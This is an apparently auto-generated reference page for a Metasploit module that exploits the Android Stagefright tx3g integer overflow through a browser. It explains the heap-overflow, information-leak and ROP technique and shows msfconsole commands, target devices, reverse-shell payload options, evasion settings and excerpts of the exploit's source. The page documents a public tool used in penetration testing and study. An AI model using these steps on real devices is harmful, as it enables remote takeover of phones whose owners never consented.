Android Stagefright MP4 tx3g Integer Overflow - Metasploit


This page contains detailed information about how to use the exploit/android/browser/stagefright_mp4_tx3g_64bit metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Android Stagefright MP4 tx3g Integer Overflow
Module: exploit/android/browser/stagefright_mp4_tx3g_64bit
Source code: modules/exploits/android/browser/stagefright_mp4_tx3g_64bit.rb
Disclosure date: 2015-08-13
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): armle
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2015-3864

This module is also known as stagefright.

This module exploits an integer overflow vulnerability in the Stagefright Library (libstagefright.so). The vulnerability occurs when parsing specially crafted MP4 files. While a wide variety of remote attack vectors exist, this particular exploit is designed to work within an HTML5 compliant browser. Exploitation is done by supplying a specially crafted MP4 file with two tx3g atoms that, when their sizes are summed, cause an integer overflow when processing the second atom. As a result, a temporary buffer is allocated with insufficient size and a memcpy call leads to a heap overflow. This version of the exploit uses a two-stage information leak based on corrupting the MetaData that the browser reads from mediaserver. This method is based on a technique published in NorthBit's Metaphor paper. First, we use a variant of their technique to read the address of a heap buffer located adjacent to a SampleIterator object as the video HTML element's videoHeight. Next, we read the vtable pointer from an empty Vector within the SampleIterator object using the video element's duration. This gives us a code address that we can use to determine the base address of libstagefright and construct a ROP chain dynamically. NOTE: the mediaserver process on many Android devices (Nexus, for example) is constrained by SELinux and thus cannot use the execve system call. To avoid this problem, the original exploit uses a kernel exploit payload that disables SELinux and spawns a shell as root. Work is underway to make the framework more amenable to these types of situations. Until that work is complete, this exploit will only yield a shell on devices without SELinux or with SELinux in permissive mode.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use exploit/android/browser/stagefright_mp4_tx3g_64bit
msf exploit(stagefright_mp4_tx3g_64bit) > exploit

Go back to menu.

Msfconsole Usage


Here is how the android/browser/stagefright_mp4_tx3g_64bit exploit module looks in the msfconsole:

msf6 > use exploit/android/browser/stagefright_mp4_tx3g_64bit

[*] No payload configured, defaulting to linux/armle/meterpreter/reverse_tcp
msf6 exploit(android/browser/stagefright_mp4_tx3g_64bit) > show info

       Name: Android Stagefright MP4 tx3g Integer Overflow
     Module: exploit/android/browser/stagefright_mp4_tx3g_64bit
   Platform: Linux
       Arch: armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-08-13

Provided by:
  jduck <[email protected]>
  NorthBit

Available targets:
  Id  Name
  --  ----
  0   Automatic
  1   Nexus 7 (Wi-Fi) (razor) with Android 5.0 (LRX21P)
  2   Nexus 7 (Wi-Fi) (razor) with Android 5.0.1 (LRX22C)
  3   Nexus 7 (Wi-Fi) (razor) with Android 5.0.2 (LRX22G)
  4   Nexus 7 (Wi-Fi) (razor) with Android 5.1 (LMY47O)
  5   Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY47V)
  6   Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48G)
  7   Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48I)
  8   Nexus 7 (Mobile) (razorg) with Android 5.0.2 (LRX22G)
  9   Nexus 7 (Mobile) (razorg) with Android 5.1 (LMY47O)
  10  Nexus 7 (Mobile) (razorg) with Android 5.1.1 (LMY47V)
  11  Nexus 5 (hammerhead) with Android 5.0 (LRX21O)
  12  Nexus 5 (hammerhead) with Android 5.0.1 (LRX22C)
  13  Nexus 5 (hammerhead) with Android 5.1 (LMY47D)
  14  Nexus 5 (hammerhead) with Android 5.1 (LMY47I)
  15  Nexus 5 (hammerhead) with Android 5.1.1 (LMY48B)
  16  Nexus 5 (hammerhead) with Android 5.1.1 (LMY48I)
  17  Nexus 6 (shamu) with Android 5.0 (LRX21O)
  18  Nexus 6 (shamu) with Android 5.0.1 (LRX22C)
  19  Nexus 6 (shamu) with Android 5.1 (LMY47D)
  20  Nexus 6 (shamu) with Android 5.1 (LMY47E)
  21  Nexus 6 (shamu) with Android 5.1 (LMY47I)
  22  Nexus 6 (shamu) with Android 5.1.1 (LYZ28E)
  23  Nexus 6 (shamu) with Android 5.1 (LMY47M)
  24  Nexus 6 (shamu) with Android 5.1.1 (LMY47Z)
  25  Nexus 6 (shamu) with Android 5.1.1 (LVY48C)
  26  Nexus 6 (shamu) with Android 5.1.1 (LMY48I)
  27  Nexus 6 (shamu) with Android 5.1.1 (LYZ28J)
  28  Nexus 6 (shamu) with Android 5.1.1 (LVY48E)
  29  Samsung Galaxy S5 (VZW SM-G900V) with Android 5.0 (LRX21T)

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)

Payload information:
  Space: 2048

Description:
  This module exploits an integer overflow vulnerability in the 
  Stagefright Library (libstagefright.so). The vulnerability occurs 
  when parsing specially crafted MP4 files. While a wide variety of 
  remote attack vectors exist, this particular exploit is designed to 
  work within an HTML5 compliant browser. Exploitation is done by 
  supplying a specially crafted MP4 file with two tx3g atoms that, 
  when their sizes are summed, cause an integer overflow when 
  processing the second atom. As a result, a temporary buffer is 
  allocated with insufficient size and a memcpy call leads to a heap 
  overflow. This version of the exploit uses a two-stage information 
  leak based on corrupting the MetaData that the browser reads from 
  mediaserver. This method is based on a technique published in 
  NorthBit's Metaphor paper. First, we use a variant of their 
  technique to read the address of a heap buffer located adjacent to a 
  SampleIterator object as the video HTML element's videoHeight. Next, 
  we read the vtable pointer from an empty Vector within the 
  SampleIterator object using the video element's duration. This gives 
  us a code address that we can use to determine the base address of 
  libstagefright and construct a ROP chain dynamically. NOTE: the 
  mediaserver process on many Android devices (Nexus, for example) is 
  constrained by SELinux and thus cannot use the execve system call. 
  To avoid this problem, the original exploit uses a kernel exploit 
  payload that disables SELinux and spawns a shell as root. Work is 
  underway to make the framework more amenable to these types of 
  situations. Until that work is complete, this exploit will only 
  yield a shell on devices without SELinux or with SELinux in 
  permissive mode.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2015-3864
  https://blog.exodusintel.com/2015/08/13/stagefright-mission-accomplished/
  http://googleprojectzero.blogspot.com/2015/09/stagefrightened.html
  https://raw.githubusercontent.com/NorthBit/Public/master/NorthBit-Metaphor.pdf
  https://github.com/NorthBit/Metaphor
  http://drops.wooyun.org/papers/7558
  http://translate.wooyun.io/2015/08/08/Stagefright-Vulnerability-Disclosure.html
  https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2016/01/libstagefright-exploit-notespdf/

Also known as:
  stagefright

Module Options


This is a complete list of options available in the android/browser/stagefright_mp4_tx3g_64bit exploit:

msf6 exploit(android/browser/stagefright_mp4_tx3g_64bit) > show options

Module options (exploit/android/browser/stagefright_mp4_tx3g_64bit):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)

Payload options (linux/armle/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the android/browser/stagefright_mp4_tx3g_64bit exploit:

msf6 exploit(android/browser/stagefright_mp4_tx3g_64bit) > show advanced

Module advanced options (exploit/android/browser/stagefright_mp4_tx3g_64bit):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ListenerComm                             no        The specific communication channel to use for this service
   SSLCipher                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false            no        Enable SSL/TLS-level compression
   SendRobots              false            no        Return a robots.txt file if asked for one
   URIHOST                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                  no        Port to use in URI (useful for tunnels)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module

Payload advanced options (linux/armle/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the android/browser/stagefright_mp4_tx3g_64bit module can exploit:

msf6 exploit(android/browser/stagefright_mp4_tx3g_64bit) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic
   1   Nexus 7 (Wi-Fi) (razor) with Android 5.0 (LRX21P)
   2   Nexus 7 (Wi-Fi) (razor) with Android 5.0.1 (LRX22C)
   3   Nexus 7 (Wi-Fi) (razor) with Android 5.0.2 (LRX22G)
   4   Nexus 7 (Wi-Fi) (razor) with Android 5.1 (LMY47O)
   5   Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY47V)
   6   Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48G)
   7   Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48I)
   8   Nexus 7 (Mobile) (razorg) with Android 5.0.2 (LRX22G)
   9   Nexus 7 (Mobile) (razorg) with Android 5.1 (LMY47O)
   10  Nexus 7 (Mobile) (razorg) with Android 5.1.1 (LMY47V)
   11  Nexus 5 (hammerhead) with Android 5.0 (LRX21O)
   12  Nexus 5 (hammerhead) with Android 5.0.1 (LRX22C)
   13  Nexus 5 (hammerhead) with Android 5.1 (LMY47D)
   14  Nexus 5 (hammerhead) with Android 5.1 (LMY47I)
   15  Nexus 5 (hammerhead) with Android 5.1.1 (LMY48B)
   16  Nexus 5 (hammerhead) with Android 5.1.1 (LMY48I)
   17  Nexus 6 (shamu) with Android 5.0 (LRX21O)
   18  Nexus 6 (shamu) with Android 5.0.1 (LRX22C)
   19  Nexus 6 (shamu) with Android 5.1 (LMY47D)
   20  Nexus 6 (shamu) with Android 5.1 (LMY47E)
   21  Nexus 6 (shamu) with Android 5.1 (LMY47I)
   22  Nexus 6 (shamu) with Android 5.1.1 (LYZ28E)
   23  Nexus 6 (shamu) with Android 5.1 (LMY47M)
   24  Nexus 6 (shamu) with Android 5.1.1 (LMY47Z)
   25  Nexus 6 (shamu) with Android 5.1.1 (LVY48C)
   26  Nexus 6 (shamu) with Android 5.1.1 (LMY48I)
   27  Nexus 6 (shamu) with Android 5.1.1 (LYZ28J)
   28  Nexus 6 (shamu) with Android 5.1.1 (LVY48E)
   29  Samsung Galaxy S5 (VZW SM-G900V) with Android 5.0 (LRX21T)

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the android/browser/stagefright_mp4_tx3g_64bit exploit:

msf6 exploit(android/browser/stagefright_mp4_tx3g_64bit) > show payloads

Compatible Payloads
===================

   #   Name                                         Disclosure Date  Rank    Check  Description
   -   ----                                         ---------------  ----    -----  -----------
   0   payload/generic/custom                                        normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                             normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/linux/armle/adduser                                   normal  No     Linux Add User
   4   payload/linux/armle/exec                                      normal  No     Linux Execute Command
   5   payload/linux/armle/meterpreter/bind_tcp                      normal  No     Linux Meterpreter, Bind TCP Stager
   6   payload/linux/armle/meterpreter/reverse_tcp                   normal  No     Linux Meterpreter, Reverse TCP Stager
   7   payload/linux/armle/shell/bind_tcp                            normal  No     Linux dup2 Command Shell, Bind TCP Stager
   8   payload/linux/armle/shell/reverse_tcp                         normal  No     Linux dup2 Command Shell, Reverse TCP Stager
   9   payload/linux/armle/shell_bind_tcp                            normal  No     Linux Command Shell, Reverse TCP Inline
   10  payload/linux/armle/shell_reverse_tcp                         normal  No     Linux Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the android/browser/stagefright_mp4_tx3g_64bit exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(android/browser/stagefright_mp4_tx3g_64bit) > show evasion

Module evasion options:

   Name                      Current Setting  Required  Description
   ----                      ---------------  --------  -----------
   HTML::base64              none             no        Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
   HTML::javascript::escape  0                no        Enable HTML obfuscation via HTML escaping (number of iterations)
   HTML::unicode             none             no        Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
   HTTP::chunked             false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression         none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding      false            no        Enable folding of HTTP headers
   HTTP::junk_headers        false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache            false            no        Disallow the browser to cache HTTP content
   HTTP::server_name         Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size        0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay           0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

ERROR: PivotStrategy <PIVOTSTRATEGY> is not implemented yet!


Here is a relevant code snippet related to the "ERROR: PivotStrategy <PIVOTSTRATEGY> is not implemented yet!" error message:

497:	        [ 0x1c, mds_pivot1 ],
498:	        [ 0x20, mds_pivot2 ]
499:	      ]
500:	
501:	    else
502:	      print_error("ERROR: PivotStrategy #{details['PivotStrategy']} is not implemented yet!")
503:	      return nil
504:	    end
505:	
506:	    # We need our ROP to build the page... Create it.
507:	    rop = generate_rop_payload('stagefright', stack_fix + payload.encoded, {'base' => libsf_base, 'target' => my_target['Rop'] })

<CLI.PEERHOST>:<CLI.PEERPORT> - Requested <REQUEST.URI> - Unknown peer


Here is a relevant code snippet related to the "<CLI.PEERHOST>:<CLI.PEERPORT> - Requested <REQUEST.URI> - Unknown peer" error message:

929:	
930:	      my_target = nil
931:	      my_target = peer[:target] if peer
932:	      if my_target.nil?
933:	        send_not_found(cli)
934:	        print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown peer")
935:	        return
936:	      end
937:	
938:	      # Extract the address(s) we just leaked...
939:	      sia_addr = request.qstring['sia'].to_i  # near_sampiter data address

<CLI.PEERHOST>:<CLI.PEERPORT> - Requested <REQUEST.URI> - Failed to generate RCE MP4


Here is a relevant code snippet related to the "<CLI.PEERHOST>:<CLI.PEERPORT> - Requested <REQUEST.URI> - Failed to generate RCE MP4" error message:

955:	      else
956:	        mode = "RCE"
957:	        mp4 = get_mp4_rce(my_target, peer)
958:	        if mp4.nil?
959:	          send_not_found(cli)
960:	          print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Failed to generate RCE MP4")
961:	          return
962:	        end
963:	      end
964:	
965:	      # Send the nasty MP4 file to trigger the vulnerability

<CLI.PEERHOST>:<CLI.PEERPORT> - Requested <REQUEST.URI> - Unknown user-agent: <VALUE>


Here is a relevant code snippet related to the "<CLI.PEERHOST>:<CLI.PEERPORT> - Requested <REQUEST.URI> - Unknown user-agent: <VALUE>" error message:

989:	    my_target = target
990:	    if my_target.name =~ /Automatic/
991:	      my_target = get_target(request)
992:	      if my_target.nil?
993:	        send_not_found(cli)
994:	        print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown user-agent: #{request['User-Agent'].inspect}")
995:	        return
996:	      end
997:	      vprint_status("Target selected: #{my_target.name}")
998:	    end
999:	

onError called!


Here is a relevant code snippet related to the "onError called!" error message:

1086:	}
1087:	
1088:	function start() {
1089:	  video = document.getElementById('vid');
1090:	  video.onerror = function() {
1091:	    console.log('  onError called!');
1092:	    stop_everything();
1093:	  }
1094:	  video.ondurationchange = duration_changed;
1095:	  //reload_rce();
1096:	  reload_leak();

blob 2 data error


Here is a relevant code snippet related to the "blob 2 data error" error message:

1124:	        var a = new FileReader();
1125:	        a.onload = function(e) {
1126:	          //console.log('onload: ' + e.target.result);
1127:	          video.src = e.target.result
1128:	        };
1129:	        a.onerror = function(e) { console.log('blob 2 data error: ' + e.error); }
1130:	        a.readAsDataURL(xhr.response);
1131:	      } catch(e) {
1132:	        console.log('  ERROR: ' + e.message);
1133:	        stop_everything();
1134:	      }

ERROR


Here is a relevant code snippet related to the "ERROR" error message:

1127:	          video.src = e.target.result
1128:	        };
1129:	        a.onerror = function(e) { console.log('blob 2 data error: ' + e.error); }
1130:	        a.readAsDataURL(xhr.response);
1131:	      } catch(e) {
1132:	        console.log('  ERROR: ' + e.message);
1133:	        stop_everything();
1134:	      }
1135:	    }
1136:	  };
1137:	  xhr.open('GET', get_uri(), true);

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • jduck
  • NorthBit

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.